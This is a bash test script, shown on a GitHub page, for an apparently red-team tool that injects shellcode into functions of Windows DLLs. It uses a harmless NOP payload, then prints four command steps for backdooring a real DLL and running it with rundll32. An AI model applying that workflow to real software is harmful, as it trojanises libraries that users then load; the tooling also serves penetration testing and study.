-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest-example.sh
More file actions
executable file
·45 lines (36 loc) · 1.44 KB
/
Copy pathtest-example.sh
File metadata and controls
executable file
·45 lines (36 loc) · 1.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash
# Example test script demonstrating the DLL function backdoor workflow
echo "=== DLL Function Backdoor - Test Example ==="
echo ""
# Create a simple test shellcode (NOP sled + ret)
echo "[*] Creating test shellcode..."
printf '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' > test_payload.bin
echo "[+] Test payload created (10 NOPs)"
# Test the shellcode wrapper
echo ""
echo "[*] Testing shellcode wrapper (x86)..."
python3 shellcode-wrapper.py -i test_payload.bin -o wrapped_x86.bin -a x86 -w full
echo ""
echo "[*] Testing shellcode wrapper (x64)..."
python3 shellcode-wrapper.py -i test_payload.bin -o wrapped_x64.bin -a x64 -w full
echo ""
# Show the hex dump of wrapped shellcode
echo "[*] Hex dump of x86 wrapped shellcode:"
xxd wrapped_x86.bin | head -n 5
echo ""
echo "[*] Hex dump of x64 wrapped shellcode:"
xxd wrapped_x64.bin | head -n 5
echo ""
# Test the dll-function-backdoor help
echo "[*] Testing dll-function-backdoor.py help..."
python3 dll-function-backdoor.py --help | head -n 20
echo ""
echo "[+] Test complete!"
echo ""
echo "To backdoor a real DLL, use:"
echo " 1. python3 dll-function-backdoor.py --dll target.dll --list"
echo " 2. python3 shellcode-wrapper.py -i payload.bin -o wrapped.bin -a x64 -w full"
echo " 3. python3 dll-function-backdoor.py -d target.dll -f FunctionName -s wrapped.bin -o backdoor.dll"
echo " 4. rundll32.exe backdoor.dll,FunctionName"
# Cleanup
rm -f test_payload.bin wrapped_x86.bin wrapped_x64.bin